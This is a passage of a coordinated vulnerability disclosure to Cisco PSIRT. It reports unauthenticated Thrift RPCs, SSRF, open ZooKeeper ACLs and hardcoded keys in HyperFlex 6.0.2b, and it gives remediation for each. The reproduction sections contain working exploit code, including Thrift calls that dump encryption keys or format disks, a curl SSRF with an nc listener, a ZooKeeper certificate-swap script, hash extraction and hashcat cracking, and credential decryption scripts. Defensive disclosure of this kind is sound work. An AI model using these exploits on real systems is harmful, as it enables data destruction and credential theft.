

Cisco PSIRT Vulnerability Disclosure

To: psirt@cisco.com

Subject: Multiple Critical Vulnerabilities in Cisco HyperFlex Data Platform 6.0.2b

Analysis method: Static firmware analysis (`storfs-packages-6.0.2b-44423.tgz`)

Encryption: PGP response requested; findings contain sensitive technical detail

Timeline: 90-day coordinated disclosure from first response

Summary of Findings

ID	Title	CVSS	CWE
HX-F001	Unauthenticated DARE Key Thrift RPC	9.8	CWE-306
HX-F002	Unauthenticated StPlatform Thrift — 180 Cluster Operations Exposed	9.8	CWE-306
HX-F003	Unauthenticated SSRF + ESXi Credential Exfiltration via <code>/st-support/*</code>	9.1	CWE-918
HX-F004	ZooKeeper Write Replaces nginx TLS Cert/Key with SFI Suppressed	9.1	CWE-284
HX-F005	ZooKeeper Stores OS Password Hashes Readable Without Authentication	9.1	CWE-916
HX-F006	Hardcoded Key <code>'springpath'</code> Decrypts ESXi, vCenter, and UCSM Credentials	9.8	CWE-321
HX-F007	Static AES Key in Firmware Decrypts All Runtime Cluster Credentials	9.1	CWE-321
HX-F008	Unauthenticated Drive Erasure and KEK Exposure on Port 8012	9.1	CWE-306
HX-F009	nginx Port 8997 Auto-Injects Admin Session — No Credentials Required	9.8	CWE-284
HX-F010	Unauthenticated Access to <code>/tmp/</code> via nginx <code>/sbd1/</code> Alias	9.1	CWE-284
HX-F011	Root Session Token: 15-bit Entropy and World-Readable File	9.1	CWE-330

What These Findings Mean

HX-F001 — Unauthenticated DARE Key Access

The storage daemon running on every HyperFlex node exposes a management interface that does not check who is calling before handing out the cluster's drive encryption keys. Any machine on the storage management network can call this interface, retrieve all encryption keys for the cluster, and use them to decrypt the contents of every protected drive. The same interface also accepts calls to replace those keys, which would make all encrypted data permanently inaccessible without anyone's authorization.

HX-F002 — 180 Cluster Management Operations Without a Login

The same storage daemon exposes 180 management operations over the same unauthenticated interface. These include formatting all drives, shutting down the cluster, deleting datastores and their snapshots, removing nodes, and triggering cluster upgrades with attacker-chosen versions. No password is required for any of them. A single unauthenticated network request is enough to destroy all data in the cluster.

HX-F003 — Unauthenticated Server-Side Request Forgery + Credential Harvest

The HyperFlex web management interface has a support-bundle endpoint that the authentication system was never configured to protect. Any unauthenticated caller can point this endpoint at an IP address they control. When that happens, the HyperFlex cluster uses its stored ESXi administrator credentials to connect to the attacker's machine, exposing those credentials in the process. The attacker learns the ESXi username and password for all hypervisors in the cluster without ever logging in.

HX-F004 — Swap the Web Management TLS Certificate Without Authentication

HyperFlex watches a ZooKeeper path for certificate updates and automatically installs whatever certificate it finds there. ZooKeeper is accessible on the management network without authentication. An attacker can write their own certificate into that path, and within seconds HyperFlex will install it, restart its web server, and begin presenting the attacker's certificate to everyone who connects to the management interface. The certificate swap also bypasses the integrity monitoring system — the software explicitly logs that it is skipping the check.

HX-F005 — Live OS Password Hashes Available to Anyone on the Network

HyperFlex continuously writes the password hashes for the root, admin, and diag accounts into ZooKeeper so that all nodes in the cluster share the same credentials. ZooKeeper is accessible without a password. Anyone who can reach ZooKeeper on the management network can read these hashes and run them through a password cracker offline. The root hash gives SSH access to every storage controller in the cluster; the admin hash gives full web management access.

HX-F006 — One Password Decrypts Every Cluster's ESXi, vCenter, and UCSM Credentials

HyperFlex encrypts and stores the passwords for ESXi, vCenter, and Cisco UCS Manager in ZooKeeper. The encryption password is the word "springpath" — hardcoded in the software and confirmed in the 6.0.2b bytecode. The stored credentials are readable without authentication from ZooKeeper. An attacker who reads them can decrypt all three credential sets with a ten-line script, getting admin access to every hypervisor, the vCenter virtualization platform, and the physical hardware management layer.

HX-F007 — Encryption Key for Cluster Credentials Shipped in the Firmware

HyperFlex encrypts the storage controller root password and SSL keystore password using a key derived from a file that ships inside the firmware package. That file — `Secret.class` — is publicly available in the firmware download. Its MD5 value is the encryption key, and it is the same on every single installation. Anyone with the firmware can derive the key and decrypt the credentials from any runtime configuration file they obtain.

HX-F008 — Wipe All Drives Without a Password

A service running on every HyperFlex node manages the self-encrypting drives. It listens on a network port and accepts commands from anyone without checking for any credentials. One of those commands — available to anyone on the management network — triggers a cryptographic erase of every drive on the node. Data erased this way is unrecoverable. The same service also

returns the node's key encryption key over the network without authentication, which can be used to decrypt drive contents.

HX-F009 — Any Connection on Port 8997 Gets Admin Access

nginx on HyperFlex listens on port 8997 and automatically adds the administrator session credential to every request it receives, then forwards that request to the management API. Port 8997 accepts connections from any network address — not just from localhost. Any machine that can reach port 8997 on a storage controller gets full administrator access to the entire HyperFlex management API without providing any credentials.

HX-F010 — SSH Keys and ESXi Credentials Available at a Public URL

The nginx configuration maps the URL path `/sbd1/` directly to the `/tmp/` directory on disk, with authentication turned off. During normal cluster operations — upgrades and node replacements — HyperFlex writes SSH private keys and plaintext ESXi usernames and passwords into `/tmp/`. Any unauthenticated caller who knows or guesses the filename can download these files over HTTP.

HX-F011 — Admin Session Token Guessable in Under a Second

HyperFlex generates an internal administrator session token by appending a random number between 0 and 32,767 to the VM's UUID. The UUID is readable from standard system tools. The token is then saved to a file readable by all users on the system. An attacker with the UUID can try all 32,768 possible tokens in under a second to find the valid one. Any local user can simply read the file directly.

System Environment (Firmware Analysis)

Component	Detail
Product	Cisco HyperFlex Data Platform (HXDP)
Version	6.0.2b-44423
Firmware corpus	<code>storfs-packages-6.0.2b-44423.tgz</code> (848 MB)
Platform	Storage Controller VM (stCtlVM), Debian/Linux, amd64
Analysis method	Static: <code>nm/c++filt</code> (ELF symbols), <code>javap</code> (bytecode), config/script review
Key packages	<code>storfs-core</code> , <code>storfs-mgmt</code> , <code>storfs-misc</code> , <code>storfs-restapi</code> , <code>storfs-appliance</code>
ZooKeeper version	3.8.1 (confirmed from <code>zookeeper_3.8.1_amd64.deb</code> in corpus)
Java runtime	<code>hxSecuritySvcMgr-1.0.jar</code> , <code>stMgr-1.0.jar</code> , <code>common-1.0.jar</code>
Web layer	Apache Tomcat, <code>ROOT-1.0.0.war</code> in <code>storfs-restapi</code>
Proxy layer	nginx (<code>storfs-misc/nginx.conf</code> , <code>rest_internal.conf</code>)

1 HX-F001: Unauthenticated DARE Key Thrift RPC — Encryption Key Exfiltration and Replacement

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-306 (Missing Authentication for Critical Function)
Attack Type	Network
Confidentiality	High
Integrity	High
Availability	High
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	Binary symbol verification: <code>nm storfs c++filt</code> confirmed handler addresses

Plain Language Summary

The storage management daemon on every HyperFlex node runs an encryption key service that does not require any authentication. Anyone on the storage management network can call this service and receive the Data Encryption Keys that protect all drives in the cluster. They can also replace those keys with their own, making the cluster's data permanently inaccessible. There is no credential, token, or IP check on either operation.

Vulnerability Description

The `storfs` binary starts a dedicated Thrift server (`stNonBlockingEncServer`) for the `StPlatformEnc` service. The `process_getDataEncryptionKeys` handler reads the Thrift frame and calls the underlying handler directly with no authentication step in between. The `dispatchCall` function routes to handlers by matching the method name as a string — there is no token header check, no session lookup, and no IP restriction. The args struct for this call contains no credential fields. A successful call returns an `HxEncryptionData` object containing all Data Encryption Keys for the cluster. The `process_setDataEncryptionKeys` handler accepts new keys with the same zero-auth pattern, giving an attacker full read and write access to all DARE keying material.

Technical Evidence (6.0.2b)

```
# nm storfs | c++filt -- confirmed symbols at 6.0.2b virtual addresses
:
0x9ade70  T  StPlatformEncProcessor::process_getDataEncryptionKeys
    (...)
0x9ad880  T  StPlatformEncProcessor::process_setDataEncryptionKeys
    (...)
0x9aef60  T  StPlatformEncProcessor::process_getEncryptionLibVersion
    (...)
0x9ae450  T  StPlatformEncProcessor::process_loadEncryptionLib(...)
0x9af4f0  T  StPlatformEncProcessor::dispatchCall(TProtocol*,
    TProtocol*,
    const string&, int, void*) # string-match, no auth
    gate
```

```
0xa2b9e0 T StPlatformEncDispatcher::getDataEncryptionKeys(  
    HxEncryptionData&)  
0x8c2910 T StartNonBlockingEncServer(void*)  
BSS:0x1bd0970 stNonBlockingEncServer # global server object
```

Reproduction

From any host with TCP access to the stCtlVM Thrift server port on the storage management network:

```
# Connect to the StPlatformEnc Thrift service and call  
    getDataEncryptionKeys  
# No credentials, session token, or client certificate required.  
# Thrift binary protocol, method name "getDataEncryptionKeys", seqid  
    =1.  
python3 -c "  
from thrift.transport import TSocket, TTransport  
from thrift.protocol import TBinaryProtocol  
# StPlatformEnc service (port varies by deployment; typically 9090 or  
    9091)  
transport = TTransport.TBufferedTransport(TSocket.TSocket('<ctlvm_ip  
    >', 9091))  
protocol = TBinaryProtocol.TBinaryProtocol(transport)  
transport.open()  
protocol.writeMessageBegin('getDataEncryptionKeys', 1, 1)  
protocol.writeMessageEnd()  
transport.flush()  
# Response contains HxEncryptionData with all DEKs  
"
```

Impact

Full read and write access to all Data Encryption Keys for the cluster. Exfiltration of DEKs defeats DARE. Replacement of DEKs renders all encrypted volumes permanently inaccessible.

Remediation

1. Bind `stNonBlockingEncServer` to 127.0.0.1 only, or replace the TCP Thrift interface with a Unix domain socket.
2. Add caller-identity verification at the Thrift dispatch layer (mutual TLS or pre-dispatch session token) before returning or accepting DEK material.
3. Require an operator-signed request for any key-write operation.

References

- CWE-306: Missing Authentication for Critical Function — <https://cwe.mitre.org/data/definitions/306.html>
- Apache Thrift Security Considerations: <https://thrift.apache.org/docs/concepts>

2 HX-F002: Unauthenticated StPlatform Thrift Interface — 180 Cluster Management Operations Exposed

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-306 (Missing Authentication for Critical Function)
Attack Type	Network
Confidentiality	High
Integrity	High
Availability	High
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	Binary symbol count: <code>nm storfs c++filt grep process_ wc -l = 180</code>

Plain Language Summary

The same storage management daemon exposes 180 cluster operations over a network interface that does not check for any credentials. These operations include formatting every drive in the cluster, shutting the cluster down, deleting datastores and their snapshots, removing nodes from the cluster, and upgrading the cluster to an attacker-supplied version. A single unauthenticated network request can destroy all cluster data.

Vulnerability Description

`StPlatformProcessor::dispatchCall` handles all 180 methods in the `StPlatform` Thrift service by matching the incoming method name as a string and calling the corresponding handler. There is no authentication gate before or after the dispatch. Disassembly of `process_formatDisks` at `0x9947d0` confirms the sequence: RTTI type check, args parse, `readMessageEnd`, handler invocation — no token check at any point.

Destructive methods confirmed by name in the 6.0.2b symbol table: `formatDisks`, `shutdownCluster`, `deleteDatastore`, `deleteDatastoreSnapshots`, `deleteFiles`, `removeNode`, `removeDisk`, `clusterUpgrade`, `enableZKAuth`, `resetZkConnectionString`, `setPlatformClusterAccessPolicy`, `setPlatformMaintenanceMode`, `blacklistDisks`, `retireDisks`, `unclaimDisks`, `revertDatastoreSnapshot`, `teardownNRNFS`, `setDataWriteThru`.

Technical Evidence (6.0.2b)

```
# Total process_* handlers:
nm storfs | c++filt | grep "StPlatformProcessor::process_" | wc -l
# -> 180

# Key addresses:
0x9947d0 T StPlatformProcessor::process_formatDisks(int, TProtocol*,
    TProtocol*, void*)
0x98a5d0 T StPlatformProcessor::dispatchCall(...) # string-match,
    no auth
0x8c27e0 T StartNonBlockingServer(void*)
```

Reproduction

From any host with TCP access to the stCtlVM StPlatform Thrift port:

```
# Call formatDisks with no credentials -- destroys all cluster data.
# CONTROLLED ENVIRONMENT ONLY.
python3 -c "
from thrift.transport import TSocket, TTransport
from thrift.protocol import TBinaryProtocol
transport = TTransport.TBufferedTransport(TSocket.TSocket('<ctlvm_ip
>', <port>))
protocol = TBinaryProtocol.TBinaryProtocol(transport)
transport.open()
protocol.writeMessageBegin('formatDisks', 1, 1)
protocol.writeMessageEnd()
transport.flush()
"
```

Impact

Unauthenticated caller can destroy all cluster data, halt the cluster, modify topology, or trigger a malicious upgrade. All 180 methods are accessible with the same zero-auth call pattern.

Remediation

1. Bind the StPlatform Thrift server to 127.0.0.1 only.
2. Add pre-dispatch authentication using a shared secret or mutual TLS.
3. Require a signed operator token for all destructive methods (`formatDisks`, `shutdownCluster`, `removeNode`).

References

- CWE-306: Missing Authentication for Critical Function — <https://cwe.mitre.org/data/definitions/306.html>

3 HX-F003: Unauthenticated SSRF and ESXi Credential Exfiltration via /st-support/*

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-918 (Server-Side Request Forgery)
Attack Type	Network
Confidentiality	High
Integrity	None
Availability	None
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	WAR inspection: <code>unzip -p ROOT-1.0.0.war WEB-INF/web.xml</code> confirmed 0 filter-mappings for /st-support/*

Plain Language Summary

The HyperFlex web management interface includes a support bundle endpoint that was never wired into the authentication system. Any caller — with no login — can tell this endpoint to connect to an IP address of their choosing. When it does, it uses the cluster's stored ESXi administrator credentials to make that connection. The attacker's server sees those credentials arrive. The attacker now has the ESXi username and password for every hypervisor in the cluster.

Vulnerability Description

ROOT-1.0.0.war (Tomcat, HX Connect port 443) maps the `StorvisorSupportBundle` servlet to `/st-support/*`. `WEB-INF/web.xml` defines six authentication filter classes. All 17 filter-mapping entries in the WAR cover `/rest/*`, `/internalsupport/*`, `/upload/*`, and `/v1/*`. The `/st-support/*` path has zero filter-mapping entries — none of the six authentication filters applies to it.

The servlet accepts a `?host=` parameter, uses a `HostCredentialsAccess` object to read stored ESXi credentials from `EsxCredential` (username and password fields), and passes those credentials to `WebDownloader.getOutputStream(url, username, password)` against the caller-supplied host. The response ZIP is returned to the caller.

Technical Evidence (6.0.2b)

```
# web.xml -- servlet mapping (no corresponding filter-mapping):
<servlet-name>Springpath Support Bundle aggregation</servlet-name>
<servlet-class>com.storvisor.sysmgmt.rest.StorvisorSupportBundle</
  servlet-class>
<url-pattern>/st-support/*</url-pattern>

# Filters defined: AuditFilter, SPPrivilegedAuth, SessionAuth,
#                  KerberosAuth, SPBasicAuth, SPAuth
# filter-mapping count: 17 total
# filter-mapping entries covering /st-support/*: 0

# Credential chain (class analysis):
HostCredentialsAccess -> EsxCredential.username + EsxCredential.
  password
  -> WebDownloader.getOutputStream(url_with_host_param, username, password
    )
```

Reproduction

```
# Start a netcat listener to observe inbound credentials:
nc -lvp 80

# Send unauthenticated request to /st-support/* pointing at the
  listener:
curl -sk "https://<ctlvm>/st-support/?host=<attacker_ip>"

# The listener receives an HTTP connection authenticated with the
  cluster's
# stored ESXi username and password. No login to HX Connect required.
```

Impact

Unauthenticated attacker obtains the ESXi administrator username and password for all hypervisors in the cluster. ESXi admin access grants hypervisor console on all nodes.

Remediation

1. Add a filter-mapping entry for `/st-support/*` to the authentication filter chain in `web.xml`.
2. Validate the `host` parameter against a whitelist of known cluster node IPs before constructing the credential object.
3. Audit all other servlet mappings for similar filter coverage gaps.

References

- CWE-918: Server-Side Request Forgery — <https://cwe.mitre.org/data/definitions/918.html>
- OWASP Server-Side Request Forgery: [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_\(SSRF\)/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_(SSRF))

4 HX-F004: ZooKeeper Write Replaces nginx TLS Certificate and Key with System File Integrity Suppressed

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-284 (Improper Access Control)
Attack Type	Network
Confidentiality	High
Integrity	High
Availability	None
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	Bytecode: <code>javap -verbose HXCertificateZKMonitor.class</code> confirmed watcher and write chain

Plain Language Summary

HyperFlex watches a location in ZooKeeper for certificate updates and automatically installs whatever it finds there as the web server's TLS certificate. ZooKeeper does not require a password in the default configuration. An attacker who can reach the ZooKeeper port can write their own certificate into that location. HyperFlex will detect the change, install the attacker's certificate, and restart the web server within seconds. The software explicitly logs that it is skipping the integrity check that would otherwise flag this. Every administrator who then logs into HX Connect is connecting through the attacker's certificate.

Vulnerability Description

`HXCertificateZKMonitor` registers a `NodeCache` watcher on ZooKeeper path `/certificates/hxcertificate`. When the node changes, `nodeChanged()` reads the new data and calls `writeSslCert()` and

writeSslKey(), which overwrite /etc/nginx/server.crt and /etc/nginx/server.key via direct PrintWriter writes, then call restartNginx().

After the write, the code emits the log line: *“Suppressed SFI — Baseline Update for System File Integrity is Skipped!”* — explicitly bypassing the system integrity monitoring that would otherwise detect the change.

ZooKeeper listens on port 2181 with the default OPEN_ACL_UNSAFE ACL (world:anyone:cdrwa). No authentication is required to write to /certificates/hxcertificate.

Technical Evidence (6.0.2b)

```
# javap -verbose HxCertificateZKMonitor.class (hxSecuritySvcMgr-1.0.jar):

# Watcher setup:
registerNodeCacheListener():
    zkClient.registerNodeCacheListenerForPath("/certificates/hxcertificate", this)

# nodeChanged() chain -- bytecode offsets:
28: zkClient.getDataInPath("/certificates/hxcertificate", Type<HxCertificate>)
66: writeSslCert(hxCert.getCertificateString())
77: writeSslKey(hxCert.getPrivateKeyString())
84: restartNginx()
90: logger.warn("Suppressed SFI - Baseline Update ... is Skipped!")

# writeSslCert -- direct unvalidated write:
new PrintWriter(NGINX_CERT_PATH, "UTF-8").print(zkData)
# NGINX_CERT_PATH = "/etc/nginx/server.crt"
```

Reproduction

```
from kazoo.client import KazooClient
import json

# Connect to ZooKeeper without credentials (default OPEN_ACL_UNSAFE):
zk = KazooClient(hosts='<ctlvm_ip>:2181')
zk.start()

# Write attacker certificate to /certificates/hxcertificate:
payload = json.dumps({
    "cert": "<PEM_CERT_STRING>",
    "key": "<PEM_KEY_STRING>"
}).encode()
zk.set("/certificates/hxcertificate", payload)
zk.stop()

# -> HxCertificateZKMonitor fires within seconds
# -> /etc/nginx/server.crt replaced with attacker cert
# -> nginx restarted; SFI check suppressed
```

Impact

Attacker controls the TLS certificate presented by HX Connect (port 443). All subsequent management connections are susceptible to inspection or credential harvesting if the attacker controls the network path.

Remediation

1. Apply a restrictive ACL on the `/certificates/` subtree in ZooKeeper (`digest:hxservice:rwcd`), replacing `OPEN_ACL_UNSAFE`.
2. Do not accept raw certificate material from ZooKeeper without CA signature verification.
3. Remove the SFI suppression — certificate changes must trigger an integrity baseline update, not skip it.

References

- CWE-284: Improper Access Control — <https://cwe.mitre.org/data/definitions/284.html>
- Apache ZooKeeper Access Control: https://zookeeper.apache.org/doc/current/zookeeperProgrammers.html#sc_ZooKeeperAccessControl

5 HX-F005: ZooKeeper Stores OS Password Hashes for root, admin, and diag — Readable Without Authentication

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-916 (Use of Password Hash with Insufficient Computational Effort)
Attack Type	Network
Confidentiality	High
Integrity	High
Availability	None
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	Configuration: <code>application.conf</code> from <code>hxSecuritySvcMgr-1.0.jar</code> confirmed <code>syncEnabled=true</code>

Plain Language Summary

HyperFlex continuously synchronizes the password hashes for the root, admin, and diag accounts to ZooKeeper so that all nodes in the cluster use the same credentials. ZooKeeper is accessible without a password. Anyone on the management network can read these hashes and run them through a password cracker. The root hash gives SSH access to every storage controller in the cluster. The admin hash gives full web management access. These are the live, currently-active passwords — not old defaults or build-time values.

Vulnerability Description

`hxSecuritySvcMgr` is configured in `application.conf` to synchronize OS credentials to ZooKeeper path `/user_credentials` with `syncEnabled = true`, covering the `root`, `admin`, and `diag` accounts. The value stored is a semicolon-delimited string of SHA-256 crypt(3) hashes generated by `mkpasswd -m sha-256` (hashcat mode 7400). The ZK path inherits the default `OPEN_ACL_UNSAFE` ACL (`world:anyone:cdrwa`). Any host with TCP access to port 2181 can read the current live hashes without authentication. `PermitRootLogin yes` is the default on `stCtIWM` nodes.

Technical Evidence (6.0.2b)

```
# application.conf (hxSecuritySvcMgr-1.0.jar, 6.0.2b):
password {
  zkPath          = "/user_credentials"
  syncEnabled     = true
  syncAccounts    = ["root", "admin", "diag"]
}

# setpasswd.sh -- how hashes are applied:
echo -e ${user}:${pass} | chpasswd -e

# Read from ZooKeeper without credentials:
zkCli.sh -server <ctlvm_ip>:2181 get /user_credentials
# Returns: root:$5$<salt>$<hash>;admin:$5$<salt>$<hash>;diag:$5$<salt>
$<hash>;

# Crack the root hash:
hashcat -m 7400 hashes.txt /usr/share/wordlists/rockyou.txt
# Cracked root hash -> ssh root@<ctlvm> (PermitRootLogin yes)
```

Reproduction

```
# Read hashes from ZooKeeper -- no credentials required:
zkCli.sh -server <ctlvm_ip>:2181 get /user_credentials

# Extract individual hashes and crack offline:
echo '<root_sha256crypt_hash>' > hashes.txt
hashcat -m 7400 hashes.txt /usr/share/wordlists/rockyou.txt
```

Impact

Live OS password hashes for three privileged accounts are readable without authentication. Cracked root hash yields SSH root access to all cluster nodes. Cracked admin hash yields full HX Connect cluster management access.

Remediation

1. Apply a restrictive ACL on `/user_credentials` in ZooKeeper (`digest:hxservice:rwcd`).
2. Replace SHA-256 crypt with bcrypt or scrypt to increase cracking cost.
3. Disable `PermitRootLogin` on `stCtlVM` nodes.
4. Consider eliminating ZooKeeper as a credential sync bus; use a dedicated secrets manager with per-node delivery instead.

References

- CWE-916: Use of Password Hash with Insufficient Computational Effort — <https://cwe.mitre.org/data/definitions/916.html>
- NIST SP 800-63B, Section 5.1.1.2: Password hashing requirements

6 HX-F006: Hardcoded Key 'springpath' in EsxAuthZKMgmtImpl Decrypts ESXi, vCenter, and UCSM Credentials from ZooKeeper

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-321 (Use of Hard-coded Cryptographic Key)
Attack Type	Network
Confidentiality	High
Integrity	High
Availability	High
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	Bytecode: <code>javap -verbose EsxAuthZKMgmtImpl.class</code> confirmed constant pool #496/#497 'springpath'

Plain Language Summary

HyperFlex encrypts and stores the passwords for ESXi, vCenter, and Cisco UCS Manager in ZooKeeper. The encryption password used for all of these credentials is the word “springpath” — hardcoded in the software. This value is confirmed in the 6.0.2b bytecode at a specific location. The stored credentials are readable from ZooKeeper without authentication. With that single word, a ten-line script can decrypt the ESXi password for every hypervisor in the cluster, the vCenter password for the entire datacenter, and the UCS Manager password for the physical hardware layer.

Vulnerability Description

ZooKeeper node `/storvisor2/stCluster` holds a JSON payload with AES/ECB-encrypted credentials for ESXi, vCenter SSO, and Cisco UCS Manager. The encryption key is the literal string 'springpath', confirmed at constant pool entry #496 in `EsxAuthZKMgmtImpl.class` (6.0.2b). `BasicEncryptionUtil` implements AES/ECB/PKCS5Padding with SHA-256 key derivation from the caller-supplied string, confirmed at bytecode offset 33 in `BasicEncryptionUtil.class`.

The same 'springpath' value appears as the TLS keystore password (`syslog.keyStorePass`) in `application.conf`, confirming it is a project-level constant that has not been rotated. The ZK ACL is `OPEN_ACL_UNSAFE (world:anyone:cdrwa)`: unauthenticated read from port 2181 is sufficient to retrieve the ciphertext.

Technical Evidence (6.0.2b)

```
# javap -verbose EsxAuthZKMgmtImpl.class (stMgr-1.0.jar, 6.0.2b):
#496 = Utf8                springpath
#497 = String               #496      // springpath
# bytecode offset 0:  ldc_w #497    // String springpath
# bytecode offset 83:  invokevirtual EncryptionUtil$.decryptData
# bytecode offset 98:  invokevirtual EncryptionUtil$.decryptData

# javap -verbose BasicEncryptionUtil.class (hxSecuritySvcMgr-1.0.jar,
6.0.2b):
```

```
# offset 33: ldc #79 // String AES/ECB/PKCS5Padding

# ZK path (ZKConstants$.class, common-1.0.jar):
# BASE_PATH = "/storvisor2" SERVICE_NAME_MGR = "stCluster"
# -> /storvisor2/stCluster

# Decrypt any field from the ZK payload:
import hashlib, base64
from Crypto.Cipher import AES

def hxdp_decrypt(b64_ct, key='springpath'):
    k = hashlib.sha256(key.encode()).digest()
    c = base64.b64decode(b64_ct)
    return AES.new(k, AES.MODE_ECB).decrypt(c)

# Read payload from ZK (no auth) and decrypt:
from kazoo.client import KazooClient; import json
zk = KazooClient('<ctlvm>:2181'); zk.start()
payload = json.loads(zk.get('/storvisor2/stCluster')[0])
print(hxdp_decrypt(payload['esx_password'])) # ESXi password
print(hxdp_decrypt(payload['url_vcenter_encrypted_password'])) #
    vCenter
print(hxdp_decrypt(payload['ucsm_pwd'])) # UCSM
zk.stop()
```

Reproduction

1. Read /storvisor2/stCluster from ZooKeeper port 2181 without credentials.
2. Run `hxdp_decrypt(value, 'springpath')` on each encrypted field.
3. Decrypted output includes ESXi password, vCenter password, and UCSM password.

Impact

ESXi admin access on all cluster hypervisors; vCenter admin on the entire datacenter; UCSM admin controlling physical blades, BMC, and fabric interconnect. All three credential classes are recoverable from a single unauthenticated ZooKeeper read.

Remediation

1. Replace the hardcoded 'springpath' AES key with a per-deployment generated key in a hardware-backed keystore or TPM.
2. Apply restrictive ZK ACLs on /storvisor2/*.
3. Move credential storage out of ZooKeeper into a dedicated secrets manager.
4. Enable ZooKeeper TLS and mutual authentication (ZK 3.5+).

References

- CWE-321: Use of Hard-coded Cryptographic Key — <https://cwe.mitre.org/data/definitions/321.html>
- NIST SP 800-57 Part 1 Rev 5, Section 5.3: Key establishment requirements

7 HX-F007: Static AES Key Derived from Shipped Firmware File Decrypts All Runtime Cluster Credentials

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-321 (Use of Hard-coded Cryptographic Key)
Attack Type	Network (key derivation requires only the public firmware download)
Confidentiality	High
Integrity	High
Availability	None
Publicly Known	No
Actively Exploited	No (static firmware analysis)
Discovery	Firmware analysis of storfs-packages-6.0.2b-44423.tgz
Confirmation	Key derivation confirmed: <code>md5sum Secret.class = 1f6d13bcd7753f2d3b2e2da361b7afb5</code> ; mechanism confirmed in <code>springpath_env_parse.py</code>

Plain Language Summary

HyperFlex encrypts the storage controller root password, SSL keystore password, and installer password using a key that is derived from a file shipped inside the firmware package. That file is publicly available in the firmware download. Its MD5 hash is the encryption key. The key is identical on every single HyperFlex 6.0.2b installation. Anyone who has ever downloaded the firmware knows the encryption key for all deployed clusters and can decrypt any runtime credential file they obtain.

Vulnerability Description

`springpath_env_parse.py` derives the AES-CBC key as `md5sum(Secret.class)` in hex-string form. `Secret.class` ships in the `storfs-misc` firmware package at the fixed path `/usr/share/hyperflex/storfs-misc/Secret.class`.

`Secret.class` is a compiled Java class containing a single static long field (`secreteKey = 4346757647632874372L`) — an obscurity measure that provides no cryptographic protection. The MD5 value of the 6.0.2b copy is deterministic and was confirmed by direct file hash:

```
md5sum Secret.class = 1f6d13bcd7753f2d3b2e2da361b7afb5
```

This value is the AES-CBC key on every 6.0.2b installation. Runtime credentials (`stctl_vm_passwd`, `ssl_cert_passwd`, `installer_passwd`) are stored in deployment-generated `*.tunes` files encrypted with this key. An attacker who obtains any runtime tunes file can decrypt it offline using the publicly-derivable key.

Technical Evidence (6.0.2b)

```
# springpath_env_parse.py (storfs-misc_6.0.2b-44423_amd64.deb),
  verbatim:

def md5(fname):
    hash_md5 = hashlib.md5()
```

```
with open(fname, 'rb') as f:
    for chunk in iter(lambda: f.read(4096), b''):
        hash_md5.update(chunk)
    return hash_md5.hexdigest()

def decrypt(key, enc):
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc[16:]))

# Runtime usage:
file_md5 = md5('/usr/share/hyperflex/storfs-misc/Secret.class')
decoded = decrypt(file_md5, tunes_value)

# Key confirmed static across all 6.0.2b nodes:
# md5sum Secret.class == '1f6d13bcd7753f2d3b2e2da361b7afb5'
```

Reproduction

1. Extract `Secret.class` from `storfs-misc_6.0.2b-44423_amd64.deb`.
2. Compute its MD5: `md5sum Secret.class` yields `1f6d13bcd7753f2d3b2e2da361b7afb5`.
3. Use this value as the AES-CBC key (hex-string encoded).
4. Decrypt any value from a runtime `springpath_custom_node.tunes` or `springpath_custom_cluster.tunes` file using the `decrypt()` function above.

Impact

All runtime cluster credentials encrypted by the tunes mechanism are decryptable using the publicly-derivable static key. The storage controller root password is within the `stctl_vm_passwd` field.

Remediation

1. Generate the AES key per-installation at first boot using a CSRNG (e.g., PBKDF2 with per-node salt stored in a TPM or kernel keyring).
2. Remove `Secret.class` from the firmware distribution package — key material must not ship alongside the ciphertext it protects.
3. Rotate all credentials in existing tunes files after patching.

References

- CWE-321: Use of Hard-coded Cryptographic Key — <https://cwe.mitre.org/data/definitions/321.html>
- NIST SP 800-57 Part 1 Rev 5: Key management requirements

8 HX-F008: Unauthenticated HTTP API on Port 8012 Exposes Drive Cryptographic Erasure and Node Key Encryption Key

Vendor	Cisco Systems
Product	Cisco HyperFlex Data Platform (HXDP)
Affected Version	6.0.2b-44423 (static analysis of storfs-packages-6.0.2b-44423.tgz)
CWE	CWE-306 (Missing Authentication for Critical Function)
Attack Type	Network
Confidentiality	High
Integrity	None
Availability	High
Publicly Known	No
Actively Exploited	No (static firmware analysis)
